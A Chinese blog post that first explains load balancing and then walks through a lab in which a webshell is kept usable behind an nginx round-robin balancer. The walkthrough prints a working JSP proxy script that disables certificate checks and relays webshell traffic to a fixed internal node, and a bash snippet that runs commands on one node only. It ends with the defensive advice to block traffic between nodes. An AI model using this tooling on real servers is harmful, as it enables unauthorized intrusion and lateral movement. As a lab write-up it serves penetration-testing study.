目录
一、什么是负载均衡
分类
负载均衡算法
分类介绍
分类
均衡技术
主要应用
安装docker-compose
2.1上传的文件丢失
2.2 命令执行时的漂移
2.3 大工具投放失败
2.4 内网穿透工具失效
3.一些解决方案
总结
一、什么是负载均衡
负载均衡(Load Balance),其含义就是指将负载(工作任务)进行平衡、分摊到多个操作单元上进行运行,例如FTP服务器、Web服务器、企业核心应用服务器和其它主要任务服务器等,从而协同完成工作任务。
负载均衡构建在原有网络结构之上,它提供了一种透明且廉价有效的方法扩展服务器和网络设备的带宽、加强网络数据处理能力、增加吞吐量、提高网络的可用性和灵活性
分类
1、软/硬件负载均衡
软件负载均衡解决方案是指在一台或多台服务器相应的操作系统上安装一个或多个附加软件来实现负载均衡,如DNS Load Balance,CheckPoint Firewall-1 ConnectControl等,它的优点是基于特定环境,配置简单,使用灵活,成本低廉,可以满足一般的负载均衡需求。
软件解决方案缺点也较多,因为每台服务器上安装额外的软件运行会消耗系统不定量的资源,越是功能强大的模块,消耗得越多,所以当连接请求特别大的时候,软件本身会成为服务器工作成败的一个关键;软件可扩展性并不是很好,受到操作系统的限制;由于操作系统本身的Bug,往往会引起安全问题。
硬件负载均衡解决方案是直接在服务器和外部网络间安装负载均衡设备,这种设备通常称之为负载均衡器,由于专门的设备完成专门的任务,独立于操作系统,整体性能得到大量提高,加上多样化的负载均衡策略,智能化的流量管理,可达到最佳的负载均衡需求。
负载均衡器有多种多样的形式,除了作为独立意义上的负载均衡器外,有些负载均衡器集成在交换设备中,置于服务器与Internet链接之间,有些则以两块网络适配器将这一功能集成到PC中,一块连接到Internet上,一块连接到后端服务器群的内部网络上。一般而言,硬件负载均衡在功能、性能上优于软件方式,不过成本昂贵。
2、本地/全局负载均衡
负载均衡从其应用的地理结构上分为本地负载均衡(Local Load Balance)和全局负载均衡(Global Load Balance,也叫地域负载均衡),本地负载均衡针对本地范围的服务器群做负载均衡,全局负载均衡针对不同地理位置、不同网络结构的服务器群做负载均衡。
本地负载均衡不需要花费高额成本购置高性能服务器,只需利用现有设备资源,就可有效避免服务器单点故障造成数据流量的损失,通常用来解决数据流量过大、网络负荷过重的问题。同时它拥有形式多样的均衡策略把数据流量合理均衡的分配到各台服务器。如果需要在现在服务器上升级扩充,不需改变现有网络结构、停止现有服务,仅需要在服务群中简单地添加一台新服务器。
全局负载均衡主要解决全球用户只需一个域名或IP地址就能访问到离自己距离最近的服务器获得最快的访问速度,它在多区域都拥有自己的服务器站点,同时也适用于那些子公司站点分布广的大型公司通过企业内部网(Intranet)达到资源合理分配的需求。
全局负载均衡具备的特点:
1、提高服务器响应速度,解决网络拥塞问题,达到高质量的网络访问效果。
2、能够远距离为用户提供完全的透明服务,真正实现与地理位置无关性
3、能够避免各种单点失效,既包括数据中心、服务器等的单点失效,也包括专线故障引起的单点失效。 [1]
负载均衡算法
分类介绍
现有的负载均衡算法主要分为静态和动态两类。静态负载均衡算法以固定的概率分配任务,不考虑服务器的状态信息,如轮转算法、加权轮转算法等;动态负载均衡算法以服务器的实时负载状态信息来决定任务的分配,如最小连接法、加权最小连接法等。 [2]
分类
1、轮询法
轮询法,就是将用户的请求轮流分配给服务器,就像是挨个数数,轮流分配。这种算法比较简单,他具有绝对均衡的优点,但是也正是因为绝对均衡它必须付出很大的代价,例如它无法保证分配任务的合理性,无法根据服务器承受能力来分配任务。
2、随机法
随机法,是随机选择一台服务器来分配任务。它保证了请求的分散性达到了均衡的目的。同时它是没有状态的不需要维持上次的选择状态和均衡因子[5]。但是随着任务量的增大,它的效果趋向轮询后也会具有轮询算法的部分缺点。
3、最小连接法
最小连接法,将任务分配给此时具有最小连接数的节点,因此它是动态负载均衡算法。一个节点收到一个任务后连接数就会加1,当节点故障时就将节点权值设置为0,不再给节点分配任务。
最小连接法适用于各个节点处理的性能相似时。任务分发单元会将任务平滑分配给服务器。但当服务器性能差距较大时,就无法达到预期的效果。因为此时连接数并不能准确表明处理能力,连接数小而自身性能很差的服务器可能不及连接数大而自身性能极好的服务器。所以在这个时候就会导致任务无法准确的分配到剩余处理能力强的机器上。 [2]
均衡技术
常见的软件负载均衡技术有以下几种:
1、基于DNS的负载均衡
由于在DNS服务器中,可以为多个不同的地址配置相同的名字,最终查询这个名字的客户机将在解析这个名字时得到其中一个地址,所以这种代理方式是通过DNS服务中的随机名字解析域名和IP来实现负载均衡。
2、反向代理负载均衡(如Apache+JK2+Tomcat这种组合)
该种代理方式与普通的代理方式不同,标准代理方式是客户使用代理访问多个外部Web服务器,之所以被称为反向代理模式是因为这种代理方式是多个客户使用它访问内部Web服务器,而非访问外部服务器。
3、基于NAT(Network Address Translation)的负载均衡技术(如Linux VirtualServer,简称LVS)
该技术通过一个地址转换网关将每个外部连接均匀转换为不同的内部服务器地址,因此外部网络中的计算机就各自与自己转换得到的地址上的服务器进行通信,从而达到负载均衡的目的。其中网络地址转换网关位于外部地址和内部地址之间,不仅可以实现当外部客户机访问转换网关的某一外部地址时可以转发到某一映射的内部的地址上,还可使内部地址的计算机能访问外部网络。 [1]
主要应用
1、DNS负载均衡 最早的负载均衡技术是通过DNS来实现的,在DNS中为多个地址配置同一个名字,因而查询这个名字的客户机将得到其中一个地址,从而使得不同的客户访问不同的服务器,达到负载均衡的目的。DNS负载均衡是一种简单而有效的方法,但是它不能区分服务器的差异,也不能反映服务器的当前运行状态。
2、代理服务器负载均衡 使用代理服务器,可以将请求转发给内部的服务器,使用这种加速模式显然可以提升静态网页的访问速度。然而,也可以考虑这样一种技术,使用代理服务器将请求均匀转发给多台服务器,从而达到负载均衡的目的。
3、地址转换网关负载均衡 支持负载均衡的地址转换网关,可以将一个外部IP地址映射为多个内部IP地址,对每次TCP连接请求动态使用其中一个内部地址,达到负载均衡的目的。
4、协议内部支持负载均衡除了这三种负载均衡方式之外,有的协议内部支持与负载均衡相关的功能,例如HTTP协议中的重定向能力等,HTTP运行于TCP连接的最高层。
5、NAT负载均衡NAT(Network Address Translation网络地址转换)简单地说就是将一个IP地址转换为另一个IP地址,一般用于未经注册的内部地址与合法的、已获注册的Internet IP地址间进行转换。适用于解决Internet IP地址紧张、不想让网络外部知道内部网络结构等的场合下。
6、反向代理负载均衡普通代理方式是代理内部网络用户访问internet上服务器的连接请求,客户端必须指定代理服务器,并将本来要直接发送到internet上服务器的连接请求发送给代理服务器处理。反向代理(Reverse Proxy)方式是指以代理服务器来接受internet上的连接请求,然后将请求转发给内部网络上的服务器,并将从服务器上得到的结果返回给internet上请求连接的客户端,此时代理服务器对外就表现为一个服务器。反向代理负载均衡技术是把将来自internet上的连接请求以反向代理的方式动态地转发给内部网络上的多台服务器进行处理,从而达到负载均衡的目的。
7、混合型负载均衡在有些大型网络,由于多个服务器群内硬件设备、各自的规模、提供的服务等的差异,可以考虑给每个服务器群采用最合适的负载均衡方式,然后又在这多个服务器群间再一次负载均衡或群集起来以一个整体向外界提供服务(即把这多个服务器群当做一个新的服务器群),从而达到最佳的性能。将这种方式称之为混合型负载均衡。此种方式有时也用于单台均衡设备的性能不能满足大量连接请求的情况下。
可以看到,支持的负载均衡模式很多。问题:是否可以确定地访问某一台固定的服务器。
为什么这样说呢,因为在渗透测试的过程中,有一个比较固定的思维就是所有的攻击都围绕着拿到webshell获取服务器权限而进行。不管是漏洞利用也好,暴力破解也罢。都是为了拿到webshell,提权,渗透内网。整体的流程就是这样,但是一旦遇到负载均衡隐藏掉后端真实服务器IP后,就会出现一大堆的问题无法解决。本文就是要理清楚这样一种环境下上传webshell的思路。
面临的困难:总体来说面临着四个难点,webshell文件上传,命令执行,工具投放,内网渗透做隧道。我们以默认的「轮询」方式来做演示。演示的环境已经上传至 AntSword-Labs ,下面我们用蚁剑作者提供的docker镜像来演示遇到的问题。
https://github.com/AntSwordProject/AntSword-Labs
我的机子上已经安装了docker,没有的首先要安装docker环境来运行
┌──(root?kali)-[/home/ant/loadbalance/loadbalance-jsp]
└─# apt-get install docker.io
下载后上传至服务器进行解压,到指定目录下,启动环境:(我给AntSword-Labs改了名字为ant,好记,自己根据情况定)
这里边有个docker-compose,这个可以帮助我们一次下载多个镜像,一步到位,不然我们搭建环境要一步一步下载很麻烦,这里的docker-compose.yml是可以执行这个程序,但是最新版的docker自带docker-compose,不是最新的没有,需要我们手动下载安装一个
安装docker-compose
https://github.com/docker/compose/releases/tag/v2.24.5
下载之后上传到虚拟机上转移到/usr/bin/
┌──(root?kali)-[/home/ant/loadbalance/loadbalance-jsp]
└─# mv docker-compose-linux-x86_64 /usr/bin/
添加可执行权限
┌──(root㉿kali)-[/home/ant/loadbalance/loadbalance-jsp]
└─# chmod +x /usr/bin/docker-compose-linux-x86_64
之后就可以使用docker-compose啦
现在我们就可以拉取镜像了
┌──(root㉿kali)-[/home/ant/loadbalance/loadbalance-jsp]
└─# docker-compose up -d
为了方便解释,我们只用两个节点,启动之后,看到有 3 个容器(你想像成有 3 台服务器就成)。
┌──(root㉿kali)-[/home/ant/loadbalance/loadbalance-jsp]
└─# docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
b85b3937a8fa nginx:1.17 "nginx -g 'daemon of…" 2 days ago Up 34 seconds 0.0.0.0:18080->80/tcp, :::18080->80/tcp loadbalance-jsp-nginx-1
34438aeb84ec loadbalance-jsp-lbsnode2 "catalina.sh run" 2 days ago Up 34 seconds 8080/tcp loadbalance-jsp-lbsnode2-1
9ed2a7929dda loadbalance-jsp-lbsnode1 "catalina.sh run" 2 days ago Up 34 seconds 8080/tcp loadbalance-jsp-lbsnode1-1
现在整个架构长这个样子:
nginx的80端口被映射到主机的18080端口之上,访问http://192.168.2.169:18080
就可以访问到我们的web服务了。Node1 和 Node2 均是 tomcat 8 ,在内网中开放了 8080 端口,我们在外部是没法直接访问到的。
场景描述
OK,我们假定在真实的业务系统上,存在一个 RCE 漏洞,可以让我们获取 WebShell。
┌──(root㉿kali)-[/home/ant/loadbalance/loadbalance-jsp]
└─# docker exec loadbalance-jsp-lbsnode1-1 bash -c "ls -al webapps/ROOT/ant.jsp"
-rw-r--r-- 1 root root 316 May 17 2021 webapps/ROOT/ant.jsp
┌──(root㉿kali)-[/home/ant/loadbalance/loadbalance-jsp]
└─# docker exec loadbalance-jsp-lbsnode2-1 bash -c "ls -al webapps/ROOT/ant.jsp"
-rw-r--r-- 1 root root 316 May 17 2021 webapps/ROOT/ant.jsp
这里已经利用漏洞将webshell上传ok,我们可以看到这个文件
此时打开蚁剑我们尝试连接先前在node12上均插入了的webshell
完了点击添加,就正式连接到我们的webshell了。
蚁剑下载
2.1上传的文件丢失
难点一:我们需要在每一台节点的相同位置都上传相同内容的 WebShell
一旦有一台机器上没有,那么在请求轮到这台机器上的时候,就会出现 404 错误,影响使用。是的,这就是你出现一会儿正常,一会儿错误的原因
显示已经上传成功,但是我们刷新一下目录就会发现有时候能看见我们的文件,有时候找不到我们的东西
证明我们的文件在一台服务器上没有上传上去
2.2 命令执行时的漂移
难点二:对,你没听错,在这样的环境下我们发出去的webshell执行命令时,会发生严重的漂移现象。你永远不知道命令在哪台服务器上执行。
假设我们解决了第一个难点,webshell均匀的出现在了后端节点服务器上。
到命令执行界面尝试执行命令:
执行查看IP地址的命令:
看到了没,这还是轮询状态下的IP变化,一旦是权重模式,再加上多台节点服务器。这个地址将变得无迹可寻。
2.3 大工具投放失败
当我们解决了上面两个难点,想要进一步渗透时,此时投放一些工具是很必要的工作。但是碍于 antSword 上传文件时,采用的分片上传方式。把一个文件分成了多次HTTP请求发送给了目标,所以尴尬的事情来了,两台节点上,各一半,而且这一半到底是怎么组合的,取决于 LBS 算法。也就是说,我们的工具一旦大于这个最小分片大小。就会被拆分成碎片传递给节点服务器。
2.4 内网穿透工具失效
由于目标机器不能出外网,想进一步深入,只能使用 reGeorg/HTTPAbs 等 HTTP Tunnel,可在这个场景下,这些 tunnel 脚本全部都失灵了,因为我们的节点服务器会不断变化,这就导致攻击者和部署了regeorg的主机之间无法保持完整的连接很长时间。即使每个节点主机上同时搭载这样的软件。与攻击者的连接仍然混乱不堪。无法稳定的代理内网的流量到攻击者手上。所以这样的环境下,要进行内网工具的部署,同样是一个极大的难点。
3.一些解决方案
要解决第一个难点其实比较简单,就一个词重复,疯狂上传多次,webshell肯定可以上传到所有的节点服务器上去。接下来我们得想办法解决剩下的难点。
3.1 关机
这个方案虽然看着是个方法,但是实际环境中先不说权限够不够。就是够,这样的操作也是十分危险的。虽然关闭节点服务器后,节点服务器会被踢出nginx代理池内部。最终可以做到每次请求都落到同一台服务器上。但是暴露风险大,还要承担相应的法律责任。故不建议使用这种方法。
3.2 基于IP判断执行主机
要是在每一次执行命令前,可以判断以下主机的IP地址,那不就可以解决命令漂移问题了嘛。
#执行命令前进行ip判断,注意执行的命令写到then后else前即可。
if [ `hostname -i` == "172.19.0.2" ]; then
echo "node1 i will execute command.\n=========\n";
hostname -i
else echo "other.tryagain"
fi
这样一来,确实是能够保证执行的命令是在我们想要的机器上了,可是这样执行命令,不够丝滑。甚至其在蚁剑的中断内运行会出问题。在真机上测试正常。
这样的方案确实很麻烦,并且并不能解决我们内网穿透的需求,所以不推荐使用。
3.3 脚本实现web层的流量转发
没错,我们用 AntSword 没法直接访问 LBSNode1 内网IP(172.23.0.2)的 8080 端口,但是有人能访问呀,除了 nginx 能访问之外,LBSNode2 这台机器也是可以访问 Node1 这台机器的 8080 端口的。也就是说,我们写入一个脚本判断流量的目的地址,不是node1的话将流量中转给node1的ant.jsp即可。如此一来就可以建立攻击者和node1的稳定连接了。
这是原作者的一张图,我们分析以下请求。
第 1 步,我们请求 /antproxy.jsp,这个请求发给 nginx
nginx 接到数据包之后,会有两种情况:
我们先看黑色线,第 2 步把请求传递给了目标机器,请求了 Node1 机器上的 /antproxy.jsp,接着 第 3 步,/antproxy.jsp 把请求重组之后,传给了 Node1 机器上的 /ant.jsp,成功执行。
再来看红色线,第 2 步把请求传给了 Node2 机器, 接着第 3 步,Node2 机器上面的 /antproxy.jsp 把请求重组之后,传给了 Node1 的 /ant.jsp,成功执行。
如此一来,就可以保证我们始终可以连接到节点1的ant.jsp文件,建立稳定通信了。说干就干。
这是转发脚本:
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.net.ssl.*" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.DataInputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.OutputStream" %>
<%@ page import="java.net.HttpURLConnection" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.security.KeyManagementException" %>
<%@ page import="java.security.NoSuchAlgorithmException" %>
<%@ page import="java.security.cert.CertificateException" %>
<%@ page import="java.security.cert.X509Certificate" %>
<%!
public static void ignoreSsl() throws Exception {
HostnameVerifier hv = new HostnameVerifier() {
public boolean verify(String urlHostName, SSLSession session) {
return true;
}
};
trustAllHttpsCertificates();
HttpsURLConnection.setDefaultHostnameVerifier(hv);
}
private static void trustAllHttpsCertificates() throws Exception {
TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {
public X509Certificate[] getAcceptedIssuers() {
return null;
}
@Override
public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
// Not implemented
}
@Override
public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
// Not implemented
}
} };
try {
SSLContext sc = SSLContext.getInstance("TLS");
sc.init(null, trustAllCerts, new java.security.SecureRandom());
HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
} catch (KeyManagementException e) {
e.printStackTrace();
} catch (NoSuchAlgorithmException e) {
e.printStackTrace();
}
}
%>
<% //注意这里的地址一定修改正确,不同的环境内部使用的地址不一定一样
String target = "http://172.19.0.2:8080/ant.jsp";
URL url = new URL(target);
if ("https".equalsIgnoreCase(url.getProtocol())) {
ignoreSsl();
}
HttpURLConnection conn = (HttpURLConnection)url.openConnection();
StringBuilder sb = new StringBuilder();
conn.setRequestMethod(request.getMethod());
conn.setConnectTimeout(30000);
conn.setDoOutput(true);
conn.setDoInput(true);
conn.setInstanceFollowRedirects(false);
conn.connect();
ByteArrayOutputStream baos=new ByteArrayOutputStream();
OutputStream out2 = conn.getOutputStream();
DataInputStream in=new DataInputStream(request.getInputStream());
byte[] buf = new byte[1024];
int len = 0;
while ((len = in.read(buf)) != -1) {
baos.write(buf, 0, len);
}
baos.flush();
baos.writeTo(out2);
baos.close();
InputStream inputStream = conn.getInputStream();
OutputStream out3=response.getOutputStream();
int len2 = 0;
while ((len2 = inputStream.read(buf)) != -1) {
out3.write(buf, 0, len2);
}
out3.flush();
out3.close();
%>
3.3.1 创建antproxy.jsp脚本
修改转发地址,转向目标 Node 的 内网IP的 目标脚本 访问地址。
注意:
a) 不要使用上传功能,上传功能会分片上传,导致分散在不同 Node 上。
b) 要保证每一台 Node 上都有相同路径的 antproxy.jsp, 所以我疯狂保存了很多次,保证每一台都上传了脚本
3.3.2 修改 Shell 配置
将 URL 部分填写为 antproxy.jsp 的地址,其它配置不变
查看IP地址是否会继续漂移:
可以看到 IP 已经固定, 意味着请求已经固定到了 LBSNode1 这台机器上了。此时使用分片上传、HTTP 代理,都已经跟单机的情况没什么区别了。Node1 和 Node2 交叉着访问 Node1 的 /ant.jsp 文件,符合 nginx 此时的 LBS 策略。
总结
优点:
-
低权限就可以完成,如果权限高的话,还可以通过端口层面直接转发,不过这跟 Plan A 的关服务就没啥区别了
-
流量上,只影响访问 WebShell 的请求,其它的正常业务请求不会影响。
-
适配更多工具
缺点:
-
该方案需要「目标 Node」和「其它 Node」 之间内网互通,如果不互通就凉了
对于这一问题的思考也是有迹可循的。首先作为负载均衡相较于普通的服务结构其特点就是隐藏了真实服务的节点服务器。
之前我们上传webshell可以拆分为,上传木马文件,执行命令获取相关漏洞信息,工具投放以提升权限获取密码,部署穿透工具尝试攻击内网。
那么照着这个思路进行分析就行,上传木马文件那必须要雨露均沾,既然一次上传会出现漂移,那就多传几次。第二个问题,命令漂移,这个可以通过判断IP的方式勉强解决,其实还有更好的解决方案。第三和第四个问题,就必须借助流量转发脚本实现节点服务器的IP地址固定。如此一来就可以彻底消除负载均衡的影响,一切如同正常的webshell上传环境。
那么,解决方案三其实有一个很致命的问题,一旦内网节点服务器之间不互通,彻底失效。也就是说,我们从安全角度出发,实现了负载均衡之后,无特殊要求的话应尽量在节点服务器之间实现网络层的通信阻断。这样才能万无一失。